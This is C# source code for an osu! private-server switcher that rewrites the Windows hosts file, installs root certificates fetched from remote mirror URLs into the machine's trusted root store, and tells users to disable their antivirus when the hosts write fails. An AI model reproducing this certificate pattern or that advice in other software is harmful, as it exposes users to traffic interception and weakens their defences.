Paths.IconCacheFolder + $@"\{server.UID}.ico"; shortcut.TargetPath = "cmd"; shortcut.Arguments = $"/c call \"{Application.ExecutablePath}\" \"{server.UID}\""; shortcut.Save(); } #endregion /// <summary> /// Checks if the currently redirected server is available (c.ppy.sh:80 ping) /// </summary> public static bool CheckServerAvailability() { // Try to build up a connection to the c interface of the osu server // to check if the bancho server is running try { using (TcpClient client = new TcpClient("c.ppy.sh", 80)) return true; } catch { return false; } } } } <file_sep>using IWshRuntimeLibrary; using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Linq; using System.Net; using System.Runtime.InteropServices; using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; namespace UltimateOsuServerSwitcher { static class Program { /// <summary> /// Der Haupteinstiegspunkt für die Anwendung. /// </summary> [STAThread] static void Main(string[] args) { // Check if the program was started from a QuickSwitch Shortcut if (args.Length == 1) { MessageBox.Show("QuickSwitch to " + args[0]); return; } // Fix https://github.com/MinisBett/ultimate-osu-server-switcher/issues/9 // (Windows 7 only) ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; // https://stackoverflow.com/questions/19147/what-is-the-correct-way-to-create-a-single-instance-wpf-application // Create mutex for single instance checks Mutex mutex = new Mutex(true, "UltimateOsuServerSwitcher"); // Check if the mutex is owned by another process if (mutex.WaitOne(TimeSpan.Zero, true)) { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new MainForm()); // Release the mutex for clean up mutex.ReleaseMutex(); } else { // If the mutex is owned by another process (a switcher instance is already running) // sent the WM_WAKEUP message to all processes to put the current instance in the foreground WinApi.SendMessage((IntPtr)NativeMethods.HWND_BROADCAST, NativeMethods.WM_WAKEUP, 0, 0); } } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Security.Cryptography.X509Certificates; using System.Threading.Tasks; namespace UltimateOsuServerSwitcher { public static class CertificateManager { /// <summary> /// Determines whether the certificate of the specified server is installed, or not. /// </summary> /// <param name="server">The server with the certificate to check</param> /// <returns>bool, if the certificate is installed</returns> public static Task<bool> CheckCertificateInstalled(Server server) { // Check if the certificate of the specified server awas found in the x509 store return Task.Run(() => { X509Store x509Store = new X509Store(StoreName.Root, StoreLocation.LocalMachine); x509Store.Open(OpenFlags.ReadOnly); bool found = x509Store.Certificates.Find(X509FindType.FindByThumbprint, server.CertificateThumbprint, true).Count >= 1; x509Store.Close(); return found; }); } /// <summary> /// Installs the certificate of the specified server /// </summary> /// <param name="server">The server which certificate will be installed</param> public static void InstallCertificate(Server server) { // Install the certificate of the specified server X509Store x509Store = new X509Store(StoreName.Root, StoreLocation.LocalMachine); x509Store.Open(OpenFlags.ReadWrite); X509Certificate2 certificate = new X509Certificate2(server.Certificate); x509Store.Add(certificate); x509Store.Close(); } /// <summary> /// Uninstalls the certificates of all specified servers /// </summary> /// <param name="servers">The servers which certificates will be uninstalled</param> public static void UninstallAllCertificates(List<Server> servers) { // Uninstall the certificates of all specified servers that has a certificate X509Store x509Store = new X509Store(StoreName.Root, StoreLocation.LocalMachine); x509Store.Open(OpenFlags.ReadWrite); foreach (Server server in servers.Where(x => x.HasCertificate)) foreach (X509Certificate2 certificate in x509Store.Certificates.Find(X509FindType.FindByThumbprint, server.CertificateThumbprint, true)) { try { x509Store.Remove(certificate); } catch (Exception ex) { throw ex; } } x509Store?.Close(); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace UltimateOsuServerSwitcher { public static class Variables { // All osu domains that need to be redirected public static string[] OsuDomains => new string[] { "osu.ppy.sh", "c.ppy.sh", "c1.ppy.sh", "c2.ppy.sh", "c3.ppy.sh", "c4.ppy.sh", "c5.ppy.sh", "c6.ppy.sh", "ce.ppy.sh", "a.ppy.sh", "i.ppy.sh" }; } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace UltimateOsuServerSwitcher { public static class Urls { /// <summary> /// Url to the json file with all mirrors /// </summary> public static string Mirrors => "https://raw.githubusercontent.com/MinisBett/ultimate-osu-server-switcher/master/datav2/mirrors.json"; /// <summary> /// Url to the github repository of the switcher /// </summary> public static string Repository => "https://github.com/minisbett/ultimate-osu-server-switcher"; /// <summary> /// Url to the discord page on the github page, which redirects to the discord invite url /// </summary> public static string Discord => "https://minisbett.github.io/ultimate-osu-server-switcher/discord.html"; /// <summary> /// Url to a video from discord about discord rich presence for explaination /// </summary> public static string RichPresenceExplanation => "https://www.youtube.com/watch?v=Ss-IvNjl7JQ"; } } <file_sep>using System; using System.Collections.Generic; using System.Drawing; using System.IO; using System.Linq; using System.Net; using System.Text; using System.Threading.Tasks; namespace UltimateOsuServerSwitcher { public static class WebHelper { // The web client used for every connected in this class private static WebClient m_client = new WebClient(); /// <summary> /// Download an image from a given url /// </summary> /// <param name="url">The given url to the image</param> /// <returns>The downloaded image</returns> public static async Task<Image> DownloadImageAsync(string url) { //using (Stream stream = m_client.OpenRead(url)) // return Image.FromStream(stream); // Download the bytes to the image async and convert it to an image using a memory stream using (MemoryStream stream = new MemoryStream(await DownloadBytesAsync(url))) return Image.FromStream(stream); } /// <summary> /// Downloads the bytes of a given url /// </summary> /// <param name="url">The given url</param> /// <returns>The byte array</returns> public static async Task<byte[]> DownloadBytesAsync(string url) { // Download the bytes async and return them var bytes = await m_client.DownloadDataTaskAsync(url); return bytes; } /// <summary> /// Downloads the string of a given url /// </summary> /// <param name="url">The given url</param> /// <returns>The string</returns> public static async Task<string> DownloadStringAsync(string url) { // Download the string and return it var str = await m_client.DownloadStringTaskAsync(url); return str; } } } <file_sep>using Newtonsoft.Json; using System; using System.Collections.Generic; using System.Drawing; using System.IO; using System.Linq; using System.Net; using System.Runtime.CompilerServices; using System.Text; using System.Threading.Tasks; namespace UltimateOsuServerSwitcher { public class Server { /// <summary> /// A unique id to identify the server /// </summary> public string UID { get; set; } = null; /// <summary> /// The name of the server /// </summary> [JsonProperty("name")] public string ServerName { get; private set; } = null; /// <summary> /// Determines whether the server is featured or not /// </summary> public bool IsFeatured { get; set; } = false; /// <summary> /// The IP-Address of the server /// </summary> [JsonProperty("ip")] public string IP { get; private set; } = null; /// <summary> /// The url to the certificate /// </summary> [JsonProperty("certificate_url")] public string CertificateUrl { get; private set; } = null; /// <summary> /// The certificate /// </summary> public byte[] Certificate { get; set; } = null; /// <summary> /// The thumbprint of the certificate /// </summary> public string CertificateThumbprint { get; set; } = null; /// <summary> /// The url to the discord server /// </summary> [JsonProperty("discord_url")] public string DiscordUrl { get; private set; } = null; /// <summary> /// The url of the server's icon /// </summary> [JsonProperty("icon_url")] public string IconUrl { get; private set; } = null; /// <summary> /// The icon /// </summary> public Image Icon { get; set; } = null; /// <summary> /// Determines whether the server was identified (is in the database) or not /// </summary> public bool IsUnidentified => UID == null; /// <summary> /// Determines whether the server is localhost or not /// </summary> public bool IsLocalhost => UID == "localhost"; /// <summary> /// Determines whether the server is the official osu!bancho server or not /// </summary> public bool IsBancho => UID == "bancho"; /// <summary> /// Determines whether the server should a have certificate in theory or not /// </summary> public bool HasCertificate => !IsLocalhost && !IsUnidentified && !IsBancho; /// <summary> /// The priority of the server /// </summary> public int Priority { get { if (IsBancho) return 4; else if (IsFeatured) return 3; else if (IsLocalhost) return 1; return 2; } } /// <summary> /// An unidentified server object /// </summary> public static Server UnidentifiedServer => new Server(); /// <summary> /// A server object that represents the bancho server /// </summary> public static Server BanchoServer => new Server() { UID = "bancho", ServerName = "osu!bancho", DiscordUrl = "", CertificateUrl = "", IconUrl = "https://raw.githubusercontent.com/MinisBett/ultimate-osu-server-switcher/master/datav2/osu_256.png" }; /// <summary> /// A server object that represents a localhost server /// </summary> public static Server LocalhostServer => new Server() { UID = "localhost", ServerName = "localhost", IP = "127.0.0.1", IconUrl = "https://raw.githubusercontent.com/MinisBett/ultimate-osu-server-switcher/master/datav2/osu_256.png" }; /// <summary> /// Returns an array with new instances of all static/hardcoded servers /// </summary> public static Server[] StaticServers => new Server[] { BanchoServer, LocalhostServer }; } } <file_sep>using DiscordRPC; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace UltimateOsuServerSwitcher { public static class Discord { // The discord RPC client used for the rich presence // given the app id (see developer portal) and -1 as the pipe for automatic pipe scan private static DiscordRpcClient m_client = new DiscordRpcClient("770355757622755379", -1); // Current RichPresence object private static RichPresence m_richPresence = null; // Determines if a presence is currently being shown public static bool IsPrecenseSet { get; private set; } = false; public static Server ShownServer { get; private set; } = null; public static void SetPresenceServer(Server server) { if (!m_client.IsInitialized) m_client.Initialize(); if (!IsPrecenseSet) { m_richPresence = new RichPresence(); m_richPresence.Timestamps = new Timestamps(DateTime.UtcNow); m_richPresence.State = $"Playing on {server.ServerName}"; m_richPresence.Details = "Ultimate Osu Server Switcher"; m_richPresence.Assets = new Assets() { LargeImageKey = "osu", LargeImageText = "Download on GitHub!\r\nminisbett/ultimate-osu-server-switcher" }; m_client.SetPresence(m_richPresence); IsPrecenseSet = true; } else { m_richPresence.State = "Currently playing on: " + server.ServerName; m_client.SetPresence(m_richPresence); } ShownServer = server; } public static void RemovePresence() { if (IsPrecenseSet) { m_client.ClearPresence(); IsPrecenseSet = false; ShownServer = null; } } } } <file_sep>using System; using System.Collections.Generic; using System.Drawing; using System.IO; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace UltimateOsuServerSwitcher { public static class HostsUtil { /// <summary> /// Reads all lines of the hosts file and returns them in a string array /// </summary> /// <returns>The lines of the hosts file</returns> public static string[] GetHosts() { return File.ReadAllLines(Environment.SystemDirectory + @"\drivers\etc\hosts"); } /// <summary> /// Overwrites all lines of the hosts file. /// Will retry 2 times if failed /// </summary> /// <param name="hosts">The lines that will be written in the hosts file</param> /// <param name="retry">(Internal use only) the amount of retries that are already done</param> public static void SetHosts(string[] hosts, int retry = 0) { // Try to change the hosts file (cannot be successful due to anti virus, file lock, ...) try { File.WriteAllLines(Environment.SystemDirectory + @"\drivers\etc\hosts", hosts); } catch (Exception ex) { // Retry it 2 more times if (retry < 3) { SetHosts(hosts, retry++); } else { // Show the corresponding error message string error = ""; if (ex is DirectoryNotFoundException) { error = "The hosts file could not be found. (DirectoryNotFoundException)\r\nPlease visit our discord server so we can provide help to you."; } else if(ex is IOException) { error = "(Retry 3/3) Cannot open the hosts file. (IOException)\r\nPlease try to deactivate your antivurs.\r\n\r\nIf this doesn't fix your issue, please visit our discord server so we can provide help to you."; } else if(ex is UnauthorizedAccessException) { error = "(Retry 3/3) Cannot access the hosts file. (UnauthorizedAccessException)\r\nPlease try to deactivate your antivurs.\r\n\r\nIf this doesn't fix your issue, please visit our discord server so we can provide help to you."; } else { error = "(Retry 3/3) " + ex.Message; } MessageBox.Show(error, "Ultimate Osu Server Switcher", MessageBoxButtons.OK, MessageBoxIcon.Error); } } } } }<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace UltimateOsuServerSwitcher { public static class Paths { /// <summary> /// Folder where all files for the switcher are saved /// /// </summary> public static string AppFolder => Environment.GetEnvironmentVariable("localappdata") + @"\UltimateOsuServerSwitcher"; /// <summary> /// Cache file for the telemetry /// </summary> public static string TelemetryCacheFile => AppFolder + @"\telemetry_cache"; /// <summary> /// Folder where the .ico icons for the shortcuts are saved /// </summary> public static string IconCacheFolder => AppFolder + @"\IconCache"; /// <summary> /// Settings file where all switcher settings are saved /// </summary> public static string SettingsFile => AppFolder + @"\settings"; } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Net; using System.Runtime.Remoting.Messaging; using System.Text; using System.Threading.Tasks; namespace UltimateOsuServerSwitcher { public static class VersionChecker { /// <summary> /// The current version of this switcher /// </summary> public static string CurrentVersion = "2.0.0"; // The web client used for all web connections in this class private static WebClient m_client = new WebClient(); /// <summary> /// Gets the current version state of this switcher /// </summary> /// <returns>The version state of this switcher</returns> public async static Task<VersionState> GetCurrentState() { // Downloads the blacklisted version file and parses them into an array string blacklistedVersionsStr = await m_client.DownloadStringTaskAsync("https://raw.githubusercontent.com/MinisBett/ultimate-osu-server-switcher/master/datav2/BLACKLISTED_VERSIONS"); string[] blacklistedVersions = blacklistedVersionsStr.Replace("\r", "").Split("\n".ToCharArray(), StringSplitOptions.RemoveEmptyEntries); // If the blacklist starts with "*", return MAINTENANCE if (blacklistedVersions.Length >= 1 && blacklistedVersions[0] == "*") return VersionState.MAINTENANCE; // If the blacklist contains the version of this switcher, return BLACKLISTED if (blacklistedVersions.Contains(CurrentVersion)) return VersionState.BLACKLISTED; // If the newest version is not the one of this switcher, return OUTDATED if (await GetNewestVersion() != CurrentVersion) return VersionState.OUTDATED; // Otherwise, return LATEST return VersionState.LATEST; } /// <summary> /// Gets the newest version available of the switcher /// </summary> /// <returns>The newest available version</returns> public async static Task<string> GetNewestVersion() { // Download the VERSION file, remove the white space and return string newestVersion = await m_client.DownloadStringTaskAsync("https://raw.githubusercontent.com/MinisBett/ultimate-osu-server-switcher/master/datav2/VERSION"); newestVersion = newestVersion.Replace("\n", ""); return newestVersion; } } public enum VersionState { LATEST, OUTDATED, BLACKLISTED, MAINTENANCE } }<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Runtime.InteropServices; using System.Text; using System.Threading.Tasks; namespace UltimateOsuServerSwitcher { public static class WinApi { [DllImport("user32.dll")] public static extern int SendMessage(IntPtr hWnd, int Msg, int wParam, int lParam); [DllImport("user32.dll")] public static extern bool ReleaseCapture(); [DllImport("user32.dll")] public static extern int RegisterWindowMessage(string message); } } <file_sep>using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Net; using System.Text; using System.Threading.Tasks; namespace UltimateOsuServerSwitcher { public static class TelemetryService { /// <summary> /// Send telemetry to the server /// </summary> /// <param name="from">The server the user is coming from</param> /// <param name="to">The server the user is switching to</param> /// <param name="span">The span between this and the last switch</param> /// <param name="successful">Connectivity status of the switched to server</param> public static void SendTelemetry(string from, string to, string span, bool successful) { // Send a get request with the arguments as parameters string url = "https://uosuss.000webhostapp.com/index.php"; string get = $"from={from}&to={to}&span={span}&successful={(successful ? 1 : 0)}"; new WebClient().DownloadData(url + "?" + get); } /// <summary> /// Gets the telemetry cache /// </summary> /// <returns>The telemetry cache</returns> public static string GetTelemetryCache() { // If the file does not exist yet, return nothing if (!File.Exists(Paths.TelemetryCacheFile)) return ""; return File.ReadAllText(Paths.TelemetryCacheFile); } /// <summary> /// Sets the telemetry cache /// </summary> /// <param name="cache">The telemetry cache</param> public static void SetTelemetryCache(string cache) { // Write to the telemetry cache file File.WriteAllText(Paths.TelemetryCacheFile, cache); } } } <file_sep>using Newtonsoft.Json; using System; using System.Collections.Generic; using System.Data; using System.Diagnostics; using System.Drawing; using System.IO; using System.Linq; using System.Net; using System.Net.NetworkInformation; using System.Net.Sockets; using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates; using System.Text; using System.Text.RegularExpressions; using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; namespace UltimateOsuServerSwitcher { public partial class MainForm : Form { // The server that is currently selected (not the one the user is connected to) private Server m_currentSelectedServer = null; // The index of the server above private int m_currentSelectedServerIndex => Switcher.Servers.IndexOf(m_currentSelectedServer); // Temporary variable to force-close the switcher if minimize to system tray is enabled private bool m_forceclose = false; // The settings for the switcher private Settings m_settings => new Settings(Paths.SettingsFile); #region Program initialize public MainForm() { InitializeComponent(); // Check if the icon cache folder exists if (!Directory.Exists(Paths.IconCacheFolder)) Directory.CreateDirectory(Paths.IconCacheFolder); // Set the version label to the current version provided by the version checker lblVersion.Text = "Version: " + VersionChecker.CurrentVersion; // Initialize all settings with their default values m_settings.SetDefaultValue("minimizeToTray", "true"); m_settings.SetDefaultValue("sendTelemetry", "false"); m_settings.SetDefaultValue("closeOsuBeforeSwitching", "true"); m_settings.SetDefaultValue("reopenOsuAfterSwitching", "true"); m_settings.SetDefaultValue("openOsuAfterQuickSwitching", "true"); m_settings.SetDefaultValue("useDiscordRichPresence", "true"); // Set the settings controls to their state from the settings file chckbxMinimize.Checked = m_settings["minimizeToTray"] == "true"; chckbxSendTelemetry.Checked = m_settings["sendTelemetry"] == "true"; chckbxCloseBeforeSwitching.Checked = m_settings["closeOsuBeforeSwitching"] == "true"; chckbxReopenAfterSwitching.Checked = m_settings["reopenOsuAfterSwitching"] == "true"; chckbxOpenAfterQuickSwitching.Checked = m_settings["openOsuAfterQuickSwitching"] == "true"; chckbxUseDiscordRichPresence.Checked = m_settings["useDiscordRichPresence"] == "true"; // // Telemetry disabled because not finished yet // m_settings["sendTelemetry"] = "false"; chckbxSendTelemetry.Checked = false; } private async void MainForm_Load(object sender, EventArgs e) { // Hide the connect button, show the loading button to make the user clear that the servers are being fetched btnConnect.Visible = false; pctrLoading.Visible = true; Application.DoEvents(); await Task.Delay(1); // Check the state of the current version VersionState vs = await VersionChecker.GetCurrentState(); if (vs == VersionState.BLACKLISTED) { // If the current version is blacklisted, prevent the user from using it. MessageBox.Show($"Your current version ({VersionChecker.CurrentVersion}) is blacklisted.\r\n\r\nThis can happen when the version contains security flaws or other things that could interrupt a good user experience.\r\n\r\nPlease download the newest version of the switcher from its website. (github.com/minisbett/ultimate-osu-server-switcher/releases).", "Ultimate Osu Server Switcher", MessageBoxButtons.OK, MessageBoxIcon.Error); Environment.Exit(0); return; } else if (vs == VersionState.MAINTENANCE) { // If the switcher is in maintenance, also prevent the user from using it. MessageBox.Show("The switcher is currently hold in maintenance mode which means that the switcher is currently not available.\r\n\r\nJoin our discord server for more informations.\r\nThe discord server and be found on our github page.", "Ultimate Osu Server Switcher", MessageBoxButtons.OK, MessageBoxIcon.Error); Environment.Exit(0); return; } else if (vs == VersionState.OUTDATED) { // Show the user a message that a new version is available if the current switcher is outdated. MessageBox.Show($"Your switcher version ({VersionChecker.CurrentVersion}) is outdated.\r\nA newer version ({await VersionChecker.GetNewestVersion()}) is available.\r\n\r\nYou can download it from our github page.", "Ultimate Osu Server Switcher", MessageBoxButtons.OK, MessageBoxIcon.Warning); } lblInfo.Text = "Fetching mirrors..."; Application.DoEvents(); // Try to load online data and verify servers List<Mirror> mirrors = null; try { // Download the mirror data from github and deserialize it into a mirror list mirrors = JsonConvert.DeserializeObject<List<Mirror>>(await WebHelper.DownloadStringAsync(Urls.Mirrors)); } catch { // If it was not successful, github may cannot currently be reached or I made a mistake in the json data. MessageBox.Show("Error whilst parsing the server mirrors from GitHub!\r\nPlease make sure you can connect to www.github.com in your browser.\r\n\r\nIf this issue persists, please visit our discord. You can find the invite link on our GitHub Page (minisbett/ultimate-osu-server-switcher)", "Ultimate Osu Server Switcher", MessageBoxButtons.OK, MessageBoxIcon.Error); Application.Exit(); return; } imgLoadingBar.Maximum = mirrors.Count; // Try to load all servers List<Server> servers = new List<Server>(); foreach (Mirror mirror in mirrors) { lblInfo.Text = $"Parsing mirror {mirror.Url}"; Application.DoEvents(); Server server = null; // Try to serialize the mirror into a server try { // Download the data from the mirror and try to parse it into a server object. server = JsonConvert.DeserializeObject<Server>(await WebHelper.DownloadStringAsync(mirror.Url)); } catch { // If the cast was not successful (invalid json) or the mirror could not be reached, skip the mirror continue; } // Forward mirror variables to the server server.IsFeatured = mirror.Featured; server.UID = mirror.UID; lblInfo.Text = $"Parsing mirror {mirror.Url} ({server.ServerName})"; Application.DoEvents(); // Check if UID is 6 letters long (If not I made a mistake) if (server.UID.Length != 6) continue; // Check if the UID is really unique (I may accidentally put the same uid for two servers) if (servers.Any(x => x.UID == server.UID)) continue; // Check if everything is set if (server.ServerName == null || server.IP == null || server.IconUrl == null || server.CertificateUrl == null || server.DiscordUrl == null) continue; // Check if server name length is valid (between 3 and 24) if (server.ServerName.Replace(" ", "").Length < 3 || server.ServerName.Length > 24) continue; // Check if it neither start with a space, nor end if (server.ServerName.StartsWith(" ")) continue; if (server.ServerName.EndsWith(" ")) continue; // // Only a-zA-Z0-9 ! is allowed if (!Regex.Match(server.ServerName.Replace("!", "").Replace(" ", ""), "^\\w+$").Success) continue; // Double spaces are invalid because its hard to tell how many spaces there are // (One server could be named test 123 and the other test 123) if (server.ServerName.Replace(" ", "") != server.ServerName) continue; // Check if the server fakes a hardcoded server if (Server.StaticServers.Any(x => x.ServerName == server.ServerName)) continue; // Check if the server ip is formatted correctly if (!Regex.IsMatch(server.IP, @"^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$")) continue; // Check if that server name already exists (if so, prioritize the first one) if (servers.Any(x => x.ServerName.ToLower().Replace(" ", "") == server.ServerName.ToLower().Replace(" ", ""))) continue; // Check if its a real discord invite url if (!server.DiscordUrl.Replace("https", "").Replace("http", "").Replace("://", "").StartsWith("discord.gg")) continue; // Initialize variables like Certificate and Icon that are downloaded from their urls when // all checks are done (IconUrl, CertificateUrl) try { // Try to parse the certificate from the given url server.Certificate = await WebHelper.DownloadBytesAsync(server.CertificateUrl); server.CertificateThumbprint = new X509Certificate2(server.Certificate).Thumbprint; } catch // Cerfiticate url not valid or certificate type is not cer (base64 encoded) { continue; } // Check if icon is valid try { // Download the icon and check if its at least 256x256 Image icon = await WebHelper.DownloadImageAsync(server.IconUrl); if (icon.Width < 256 || icon.Height < 256) continue; // Scale the image to 256x256 server.Icon = new Bitmap(icon, new Size(256, 256)); // Add the server to the servers that were successfully parsed and checked servers.Add(server); } catch // Image could not be downloaded or loaded { continue; } imgLoadingBar.Value++; } // Load bancho and localhost try { // Download the icon and check if its at least 256x256 Image icon = await WebHelper.DownloadImageAsync(Server.BanchoServer.IconUrl); if (icon.Width >= 256 && icon.Height >= 256) { // Add the bancho server Server s = Server.BanchoServer; // Scale the image to 256x256 s.Icon = new Bitmap(icon, new Size(256, 256)); servers.Add(s); } } catch // Image could not be downloaded or loaded { } try { // Download the icon and check if its at least 256x256 Image icon = await WebHelper.DownloadImageAsync(Server.LocalhostServer.IconUrl); if (icon.Width >= 256 && icon.Height >= 256) { // Add the localhost server Server s = Server.LocalhostServer; // Scale the image to 256x256 s.Icon = new Bitmap(icon, new Size(256, 256)); servers.Add(s); } } catch // Image could not be downloaded or loaded { } // Sort the servers by priority (first bancho, then featured, then normal, then localhost) servers = servers.OrderByDescending(x => x.Priority).ToList(); // Create .ico files for shortcuts foreach (Server server in servers) { using (FileStream fs = File.OpenWrite(Paths.IconCacheFolder + $@"\{server.UID}.ico")) using (MemoryStream ms = new MemoryStream((byte[])new ImageConverter().ConvertTo(server.Icon, typeof(byte[])))) ImagingHelper.ConvertToIcon(ms, fs, server.Icon.Width, true); } Switcher.Servers = servers; // Enable/Disable the timer depending on if useDiscordRichPresence is true or false // Set here because the timer needs to have the servers loaded richPresenceUpdateTimer.Enabled = m_settings["useDiscordRichPresence"] == "true"; // Initialize the current selected server variable m_currentSelectedServer = Switcher.GetCurrentServer(); if (m_currentSelectedServer.IsUnidentified) m_currentSelectedServer = Switcher.Servers.First(x => x.UID == "bancho"); // Hide loading button and loading bar after all mirrors are loaded pctrLoading.Visible = false; imgLoadingBar.Visible = false; // Show the account manager button because all servers are loaded now btnAccountManager.Visible = true; // Update the UI UpdateUI(); } #endregion #region Click & CheckChanged Events private void pctrServerIcon_Click(object sender, EventArgs e) { // If the server is set has a discord, open the link if (m_currentSelectedServer != null && !string.IsNullOrEmpty(m_currentSelectedServer.DiscordUrl)) Process.Start(m_currentSelectedServer.DiscordUrl); } private void BtnConnect_Click(object sender, EventArgs e) { // Change the shown button to the "connecting" one btnConnect.Visible = false; pctrConnecting.Visible = true; Application.DoEvents(); // Save the osu executable path for the reopen feature later string osuExecutablePath = ""; // Only close osu if the feature is enabled if (m_settings["closeOsuBeforeSwitching"] == "true") { // Find the osu process and, if found, save the executable path and kill it Process osu = Process.GetProcessesByName("osu!").FirstOrDefault(); if (osu != null) { osuExecutablePath = osu.MainModule.FileName; osu.Kill(); // Wait till osu is completely closed osu.WaitForExit(); } } // Switch the server to the currently selected one Switcher.SwitchServer(m_currentSelectedServer); // Check if the server is available (server that has been switched to is reachable) if (!Switcher.CheckServerAvailability()) { // If not, show a warning MessageBox.Show("The connection test failed. Please restart the switcher and try again.\r\n\r\nIf it's still not working the server either didn't update their mirror yet or their server is currently not running (for example due to maintenance).", "Ultimate Osu Server Switcher", MessageBoxButtons.OK, MessageBoxIcon.Warning); } // Start osu if the reopen feature is enabled and an osu instance was found before switching // osuExecutablePath can only be != "" if close before switching feature is enabled // so a check for the closeOsuBeforeSwitching setting is not necessary if (m_settings["reopenOsuAfterSwitching"] == "true" && osuExecutablePath != "") { Process.Start(osuExecutablePath); } // Hide the "connecting" button and update the UI (update UI will show the already connected button then) pctrConnecting.Visible = false; UpdateUI(); } private void btnLeft_Click(object sender, EventArgs e) { // Move the selection 1 to the left and update the UI m_currentSelectedServer = Switcher.Servers[m_currentSelectedServerIndex - 1]; UpdateUI(); } private void btnRight_Click(object sender, EventArgs e) { // Move the selection 1 to the right and update the UI m_currentSelectedServer = Switcher.Servers[m_currentSelectedServerIndex + 1]; UpdateUI(); } private void lnklblTelemetryLearnMore_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) { // Show informations about telemetry logging MessageBox.Show("We would appreciate to log some data to improve the user experience for everyone.\r\n\r\nThe following data will be transmitted to our server:\r\n\r\n- Server you are coming from and switching to\r\n- The time span between switching the server\r\n- Connectivity status of servers\r\n\r\n\r\nNote: No informations that would identify you will be transmitted. All informations are completely anonymous.\r\n\r\nYou can stop sending telemtry data at any time by disabling that option.", "UOSS Telemetry Service", MessageBoxButtons.OK, MessageBoxIcon.Information); } private void lnklblWhyMinimize_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) { // Show informations about the minimize to tray option MessageBox.Show("Minimize to system tray means that if you close the program it just gets minimized to the system tray\r\n(icons next to the clock in the taskbar).\r\n\r\nThis way, the switcher will run in background and, when you open it again, doesn't need to load all servers again.\r\n\r\nThis feature is useful when you switch the server quite often.\r\n\r\nYou can still close the switcher by either disabling this option or right clicking the icon in the system tray, and then 'Exit'.", "Ultimate Osu Server Switcher", MessageBoxButtons.OK, MessageBoxIcon.Information); } private void lnklblWhatRichPresence_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) { // Open a discord video about discord rich presence for explaination Process.Start(Urls.RichPresenceExplanation); } private void btnExit_Click(object sender, EventArgs e) { // Close the application Application.Exit(); } private void pctrGithub_Click(object sender, EventArgs e) { // Open the github page Process.Start(Urls.Repository); } private void pctrDiscord_Click(object sender, EventArgs e) { // Open the page that redirects to the discord invite url Process.Start(Urls.Discord); } private void showToolStripMenuItem_Click(object sender, EventArgs e) { // If the show tool strip of the context menu from the notify icon is clicked, show the switcher // by simulating a click on the notify icon notifyIcon_MouseClick(notifyIcon, new MouseEventArgs(MouseButtons.Left, 0, 0, 0, 0)); } private void exitToolStripMenuItem_Click(object sender, EventArgs e) { // If the exit tool strip of the context menu from the notify icon is clicked, force-close the program // (force close needed because otherwise the FormClosing event would be cancelled again and the program // just minimized to the taskbar again) m_forceclose = true; Application.Exit(); } private void chckbxMinimize_CheckedChanged(object sender, EventArgs e) { // Save the minimizeToTray setting m_settings["minimizeToTray"] = chckbxMinimize.Checked ? "true" : "false"; } private void chckbxSendTelemetry_CheckedChanged(object sender, EventArgs e) { // Save the sendTelemetry setting m_settings["sendTelemetry"] = chckbxSendTelemetry.Checked ? "true" : "false"; } private void chckbxCloseBeforeSwitching_CheckedChanged(object sender, EventArgs e) { // Only enable the reopen setting control when close before switching is enabled chckbxReopenAfterSwitching.Enabled = chckbxCloseBeforeSwitching.Checked; // Save the closeOsuBeforeSwitching setting m_settings["closeOsuBeforeSwitching"] = chckbxCloseBeforeSwitching.Checked ? "true" : "false"; } private void chckbxReopenAfterSwitching_CheckedChanged(object sender, EventArgs e) { // Save the reopenOsuAfterSwitching setting m_settings["reopenOsuAfterSwitching"] = chckbxReopenAfterSwitching.Checked ? "true" : "false"; } private void chckbxOpenAfterQuickSwitching_CheckedChanged(object sender, EventArgs e) { m_settings["openOsuAfterQuickSwitching"] = chckbxOpenAfterQuickSwitching.Checked ? "true" : "false"; } private void chckbxUseDiscordRichPresence_CheckedChanged(object sender, EventArgs e) { m_settings["useDiscordRichPresence"] = chckbxUseDiscordRichPresence.Checked ? "true" : "false"; // If the presence feature gets deactivated, remove the precense if needed if (!chckbxUseDiscordRichPresence.Checked && Discord.IsPrecenseSet) Discord.RemovePresence(); else MessageBox.Show("In order to make this feature run properly, please disable the Discord Rich Presense in your osu! settings.\r\n\r\nIf it still doesn't show up, try to switch the server or restart the switcher in order to reload the Discord Rich Presence.", "Ultimate Osu Server Switcher", MessageBoxButtons.OK, MessageBoxIcon.Information); // En/Disable the timer that constantly checks if osu is running richPresenceUpdateTimer.Enabled = chckbxUseDiscordRichPresence.Checked; } private void notifyIcon_MouseClick(object sender, MouseEventArgs e) { // Only show when left mouse button is used because the right should show the context menu if (e.Button == MouseButtons.Left) { // Hide the notify icon and show the switcher when clicked on the notify icon notifyIcon.Visible = false; Show(); } } #region Tab pages private void btnSettings_Click(object sender, EventArgs e) { btnSwitcher.BackColor = Color.FromArgb(10, 10, 10); btnSwitcher.FlatAppearance.BorderSize = 0; btnHelp.BackColor = Color.FromArgb(10, 10, 10); btnHelp.FlatAppearance.BorderSize = 0; btnSettings.BackColor = Color.FromArgb(31, 31, 31); btnSettings.FlatAppearance.BorderSize = 2; pnlSwitcher.Visible = false; pnlHelp.Visible = false; pnlSettings.Visible = true; } private void btnSwitcher_Click(object sender, EventArgs e) { btnSettings.BackColor = Color.FromArgb(10, 10, 10); btnSettings.FlatAppearance.BorderSize = 0; btnHelp.BackColor = Color.FromArgb(10, 10, 10); btnHelp.FlatAppearance.BorderSize = 0; btnSwitcher.BackColor = Color.FromArgb(31, 31, 31); 